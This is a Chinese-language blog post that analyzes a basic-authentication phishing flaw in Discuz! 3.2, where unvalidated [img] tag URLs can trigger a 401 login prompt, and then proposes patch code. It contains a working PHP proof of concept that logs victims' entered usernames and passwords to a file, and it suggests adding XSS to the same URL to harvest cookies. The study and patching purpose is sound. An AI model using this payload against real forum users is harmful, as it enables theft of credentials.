对于Discuz!3.2的基础认证钓鱼漏洞分析与修复

目录

前言

最近在某个技术论坛出现了一个基础认证钓鱼的漏洞,然后分析了Discuz!3.2版本的相关源码,对于该漏洞进行了修复,此文当做个人的学习记录,如果有错误的地方,欢迎讨论交流。

分析过程

在分析漏洞之前先了解一下相关的知识科普。

401钓鱼,也叫基础认证钓鱼。在Web站点中,绝大部分的web服务器被配置为匿名访问,即用户在请求web站点访问服务器上的相关信息时,一般不会被要求提示输入相关认证标示信息,也就是说用户不需要使用用户名或者密码就可以访问网站,这也是所有开放站点所使用的配置。

在Nginx和Apache中,默认配置都是匿名访问。
如Nginx想要配置非匿名访问需要进行如下设置:
/etc/nginx/sites-enabled/default中:

server {
    server_name blog.cnpanda.net
    root /www/panda

   # ...

   location / {
        # 下面的两句是要求非匿名访问
        auth_basic "Restricted";
        auth_basic_user_file htpasswd;
        # ...
    }

   # ...
}

然后创建一个htpasswd文件就可以了,具体的在这里就不提了。

在Apache中就比较简单了,Apache的httpd.conf默认配置如下:

<directory "/etc/www">
 Options IndexesFollowSymLinks Includes
 AllowOverride None
 Order allow,deny
 Allow from all
</Directory>

如果需要修改为非匿名访问,那么就需要传递一个WWW-Authenticate的字段,如下代码就是使用Header()函数要求客户端使用BASIC验证:

header("WWW-Authenticate:BASIC Realm=My Realm");

它在HTTP的请求头中增加了一个WWW-Authenticate的字段。
如果我们想要进行基础认证钓鱼,那么就需要上面的WWW-Authenticate字段。
现在就以最新版的Discuz!3.2版本为例,来分析一下。

问题出现在source/function/function_editor.php中的imgtag函数:

function imgtag($attributes) {
    $value = array('src' => '', 'width' => '', 'height' => '');
    preg_match_all("/(src|width|height)=([|_)([^']+)(\2)/is", dstripslashes($attributes), $matches);
    if(is_array($matches[1])) {
        foreach($matches[1] as $key => $attribute) {
            $value[strtolower($attribute)] = $matches[3][$key];
        }
    }
    @extract($value);
    if(!preg_match("/^http:/i", $src)) {
        $src = absoluteurl($src);
    }
    return $src ? ($width && $height ? '[img='.$width.','.$height.']'.$src.'[/img]' : '[img]'.$src.'[/img]') : '';
}

函数首先对于width和height的值进行了判断过滤,然后再验证请求的url是否是子目录路径:

function absoluteurl($url) {
    global $_G;
    if($url{0} == '/') {
        return 'http://'.$_SERVER['HTTP_HOST'].$url;
    } else {
        return $_G['siteurl'].$url;
    }
}

最后直接返回[img]+URL+[/img]。所以可以看到,函数中只是对于URL的请求路径进行了判断,但是没有对于该URL是否是图片进行验证,导致了解析任意URL。
可以构建POC如下:

<html>
<head>
    <title>Please Login - Informations</title>
</head>
<?php
    $_COOKIE['panda'] = 'panda';
    if($_COOKIE['panda'] == 'panda')
        if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) {
            Header("WWW-Authenticate: Basic realm=\"Please to login first\"");
            Header("HTTP/1.0 401 Unauthorized");
        } else {
            @file_put_contents('./panda.txt', $_SERVER['PHP_AUTH_USER'].'|'.$_SERVER['PHP_AUTH_PW']."\r\n", FILE_APPEND);
            setcookie('panda','finshed');
    }
?>
<body>
    <h1>ERROR!!</h1>

    You do not have permission to access this page!
    <br>
    Click here to <input type="button"  value="GO back" onclick="history.go(-1)"> 
</body>
<html>

该POC主要就是记录用户输入的账号和密码然后记录到Panda.txt中。
将其上传到本地服务器上,地址为:http://localhost/401.php
使用POC:

1.png

2.png

可以看到对话框,只要用户输入相关信息,都会记录在panda.txt文件中:

3.png

不仅是在发表主题和回复主题这里存在,空间的个人主页、查看个人资料中的个性签名中也是同样存在的。

4.png

5.png

总之一句话,只要DZ中存在[img]标签解析的地方,那么就存在这个问题。
其实这个漏洞被不少人小看,认为稍微懂点技术的人都应该不会中招,但是其实漏洞攻击的对象基本上都是些什么都不懂的用户,钓鱼受害者最多的也是用户。更有一种方法就是让稍微懂点技术的人知道我们构建POC的地址,诱导其范围,然后我们对于这个POC地址做些小动作“,如加上一些XSS的测试代码之类的,这样我们就有可能获取到一些我们意外的其他信息。
比如获取网站的源码:

6.png

7.png

或者一些浏览器残留的Cookie:

8.png

修复方法

方案一:
直接在source/function/function_editor.php文件的imgtag函数中进行URL验证,此方法是最简单的修复方法,但是会造成网站打开页面速度缓慢的影响。
方案二:
过滤代码可以有两种,第一种就是对于400以上的响应请求给予报错,第二种就对于[img]标签的内容进行过滤,这里推荐使用第二种,代码如下:
对source/module/forum/forum_post.php 文件的204行加上一个修复函数:

9.png

$message = isset($_GET['message']) ? Repair_401(censor($_GET['message'])) : '';

Repair_401函数可以直接添加在forum_post.php文件的最下方:

10.png

function Repair_401($message){
    preg_match_all('|[img](.*)[/img]|U',$message,$matches);    //匹配所有img标签
        if(!empty($matches)){        //存在匹配结果
             $img = $matches[1]; 
         foreach($img as $val){
             $fstr = substr($val,0,10);
             $src = strpos($fstr,'://') < 1 ? "http://".$val : $val; 
             if(!@fopen($src, 'r' ) ){    //图片无效
                 showmessage('图片格式错误');
             }
         } 
    }
}

这里修复的仅仅是发表主题或者回复的基础认证漏洞,但是对于个人空间中个人主页、个人介绍以及个性签名没有进行过滤,需要修复者自己寻找关键代码加上Repair_401函数,也可以直接在后台关闭[img]标签解析。
最终修复结果如下图:

11.png

总结

不仅仅局限于DZ,应该说只要存在图片解析URL没有验证的,基本上都存在这个漏洞,业务中的漏洞挖掘可以考虑挖掘此类的漏洞。当然,这个漏洞是要受到浏览器的限制的,测试火狐可以触发,谷歌不行。所以实际还是要看实际中的利用方法。

写在后面

​上面的修复方案有缺陷,经过九零的一个表哥反馈,发现只要在自己的服务器上,将图片文件当做PHP文件解析,依旧可以绕过上方的修复方案,对于这种办法,建议是对于请求返回的响应码判断,如果是401请求,则停止请求或者中断访问,也可以禁止站内引用第三方资源链接,后者的方法是最干脆也是最安全的。

参考

[*] goderci@YunDay《解析:基础认证钓鱼》
[*] Nginx配置实用密码访问网站的方法
[*] 实战利用XSS漏洞对me.jd.com进行基础验证钓鱼
[*] 基础认证钓鱼漏洞-通杀所有可插入外部内容的网站

「一键投喂 软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码完成支付

本文共有5633个字。标签:Discuz基础认证钓鱼漏洞
版权声明:本文为作者原创,如需转载须联系作者本人同意,未经作者本人同意不得擅自转载。
添加新评论
暂无评论